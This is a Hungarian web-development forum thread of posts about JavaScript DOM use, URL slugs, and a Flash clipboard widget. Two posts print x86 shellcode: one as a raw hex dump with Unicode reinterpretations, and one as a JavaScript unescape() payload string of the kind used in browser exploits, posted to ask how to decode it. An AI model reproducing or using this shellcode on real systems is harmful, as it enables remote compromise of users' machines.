Keresés

Új hozzászólás Aktív témák

  • ArchElf
    addikt

    dehat a celladnak nem is id az id-ja hanem s01...

    document.getElementById('s01').style.color="#FFFFFF"; igy mar menni fog.

    Ha js-t probalgatsz, akkor erdemes valamilyen dev toolbar-t hasznalni. IE8-ban es chromeban alapbol van, ff-hoz ott a firebug. Ha ilyen js error van a kododban, egybol jelezne.

    őőő, inkább csak quote nélkül?
    document.getElementById(id).style.color="#FFFFFF";

    AE

  • ArchElf
    addikt

    üdv!

    Létezik olyan kész függvény vagy program amivel url-esíteni/angolosítani (nem tudom, hogy kellene ezt helyesen leírni) lehet egy megadott stringet?
    php alatt megtudnám oldani, de ha lehet akkor inkább kliens oldalon intézném ezt el, így a servernek már csak a kész infot kellene eltárolnia.

    Konkrétan ilyesmire gondolok:
    eredeti string:
    Ezen az oldalon, sok hasznos fórumozó van, így mindenre van megoldás
    átalakított:
    ezen-az-oldalon-sok-hasznos-forumozo-van-igy-mindenre-van-megoldas

    Speeed

    php:
    - strtolower()
    - while(?) + str_replace(array_áéíóöőúüű, array_aeiooouuu, $str)
    - while(?) + preg_replace('/[\W]+/', '-', $str)
    lehet, hogy még a while-ok sem kellenek...

    Ehh, most látom csak, hogy PHP alatt menne, de kliens oldalon kellene... Végül is mindegy, a fentieknek megvan a JavaScript megfelelőjük... js+regex

    AE

  • ArchElf
    addikt

    Igen, én is ezt mondtam :D Csak azt nem vágom, hogy ha a linken elérhető tartalmat megfelelő változók megadásával beágyazom saját oldalra, akkor az működőképes-e.
    Pl. a flashvars részben az első kódrészletnél most nálam ez van (ez itt dinamikusan változik):
    flashvars="highlighterId=highlighter_514695"
    És a div id-je a következő:
    highlighter_514695
    Szóval elvileg stimmel a kettő, így rendelik hozzá, de vajon ez saját oldalra beágyazva működik? Az id dinamikus változtatását már JavaScripttel oldják meg?
    Még egy kérdés merült fel bennem: ha alapból tiltják biztonsági okokból a clipboardhoz való hozzáférést, akkor ez mégis hogyan tudott hozzáférni? :D

    Szerintem a hivatkozásokat PHP-vel generálják adatbázis ID alapján (valószínűleg a kódnak mint mondjuk memo elemnek ez a rekord id-ja). A vágólaphoz meg úgy fér hozzá, hogy a flash már nem a böngésző jogaival/korlátozásaival fut, hanem az azt futtató java/activex környezet jogaival.

    Amúgy a highlighter flash akár működőképes lehet a te oldaladon is, legalábbis ha a távoli hivatkozást engedi az adott fájlra a szerverük (vagy letöltöd hozzád és használod, de az ugye már jogsértő).

    AE

  • ArchElf
    addikt

    Angol nem gond a másnaposság annál inkább :B

    Egyébként nem unicode-ban van kódolva?

    Szerintem azért van értelme így megjeleníteni, mert ha a hagyományos shellcode-ot konvertálád string-gé, akkor a shellcode-odatat teleszórná nullával (a memóriában az unicode operációs rendszer /illetve unicode program az ascii szöveget úgyis unicode formában tárolja, hacsak nem kényszeríted ki explicite a más módon való tárolást):
    Eredeti shellcode:
    \x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\x95
    \xD6\x79\x80\x83\xEB\xFC\xE2\xF4\x69\x3E\x3D\x80\x95\xD6\xF2\xC5
    \xA9\x5D\x05\x85\xED\xD7\x96\x0B\xDA\xCE\xF2\xDF\xB5\xD7\x92\xC9
    \x1E\xE2\xF2\x81\x7B\xE7\xB9\x19\x39\x52\xB9\xF4\x92\x17\xB3\x8D
    \x94\x14\x92\x74\xAE\x82\x5D\x84\xE0\x33\xF2\xDF\xB1\xD7\x92\xE6
    \x1E\xDA\x32\x0B\xCA\xCA\x78\x6B\x1E\xCA\xF2\x81\x7E\x5F\x25\xA4
    \x91\x15\x48\x40\xF1\x5D\x39\xB0\x10\x16\x01\x8C\x1E\x96\x75\x0B
    \xE5\xCA\xD4\x0B\xFD\xDE\x92\x89\x1E\x56\xC9\x80\x95\xD6\xF2\xE8
    \xA9\x89\x48\x76\xF5\x80\xF0\x78\x16\x16\x02\xD0\xFD\x26\xF3\x84
    \xCA\xBE\xE1\x7E\x1F\xD8\x2E\x7F\x72\xB5\x18\xEC\xF6\xD6\x79\x80

    Eredeti shellcode, unicode értelmezése:
    \x3100\x4302\xFDFF\xFDFF
    \x2400\xFDFF\x5B00\xFDFF
    \x7900\xFDFF\xFDFF\xFDFF
    \x3E00\x3D00\xFDFF\xFDFF
    \x0500\xFDFF\xFDFF\xD605
    \xF507\xD205\xFDFF\x1E00
    \x1900\x3900\x5200\xFDFF
    \xFDFF\x1400\xFDFF\x7400
    \xFDFF\x3300\xFDFF\xF107
    \x3200\x0B00\xFDFF\xFDFF
    \xFDFF\x7E00\x5F00\x2500
    \x4000\xFDFF\x5D00\x3900
    \xFDFF\x1E00\xFDFF\x7500
    \x0B00\xFDFF\x9207\xFDFF
    \xFDFF\xFDFF\x498A\x4800
    \x7800\x1600\x1600\x0200
    \xBE02\xFDFF\x7E00\x1F00

    Eredeti shellcode, unicode blokkokban:
    \x31C9\x83E9\xDED9\xEED9
    \xD679\x8083\xEBFC\xE2F4
    \xA95D\x0585\xEDD7\x960B
    \x1EE2\xF281\x7BE7\xB919
    \x9414\x9274\xAE82\x5D84
    \x1EDA\x320B\xCACA\x786B
    \x9115\x4840\xF15D\x39B0
    \xE5CA\xD40B\xFDDE\x9289
    \xA989\x4876\xF580\xF078
    \xCABE\xE17E\x1FD8\x2E7F

    AE

  • ArchElf
    addikt

    Itt ha a kiszínezett forráskód fölé mentek, akkor előjön egy ilyen kis Flash-es cucc, az egyik opció, hogy "copy to clipboard", ez tökéletesen meg is csinálja a dolgát az összes böngészőben, amivel próbáltam, csak tudnám, hogyan csinálja. :F
    Nem tudjátok? Lehet, hogy OFF (ha Flash), de érdekelne.

    Nekem nagyon Flash-nek tűnik:

    <div class="item copyToClipboard"><embed id="highlighter_812837_clipboard" type="application/x-shockwave-flash" title="copy to clipboard" allowscriptaccess="always" wmode="transparent" flashvars="highlighterId=highlighter_812837" menu="false" src="http://www.coders.me/wp-content/plugins/syntaxhighlighter/syntaxhighlighter/scripts/clipboard.swf" height="16" width="16"></div>

    AE

  • ArchElf
    addikt

    Ezt hogyan lehet lefordítani értelmes szövegre? Már ha lehet.
    var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" + "%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
    "%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
    "%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
    "%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
    "%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
    "%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
    "%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
    "%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
    "%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
    "%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
    "%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
    "%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +

    "%uff53%uffd6%u41d0");

    Shellcode
    Remélem az angol nem gond :)

    AE

  • ArchElf
    addikt

    Drizzt: köszi a helpet, én is ugyaninnen probáltam de qrvára nem sikerült szépre megcsinálni :\
    vancha2: egy együttes honlapját csinálom, a saját zenéjük menne, szóval témába vágó, mellesleg én se szeretem ha egy honlapon szól a zene >_<

    lehet h végül az lesz h egy aloldal ahol lehet hallgatni, vagy ilyesmi, azért további helpet várom esetleg : D

    A zenelejátszós IFrame-et ki is húzhatod az ablakból és akkor nem is zavar.
    Ha pedig az oldalbetöltődés a gond (villogás, rendeződés meg ilyesmi), akkor alapból eltüntetve (display:none;) kell az oldalt betölteni, és az onload()-ban megjeleníteni. Esetleg a betöltés alatt berakhatsz egy gyorsan betöltődő DIV-et előre, hogy azért történik valami - ez meg eltünteted az onload()-ban.

    AE

Új hozzászólás Aktív témák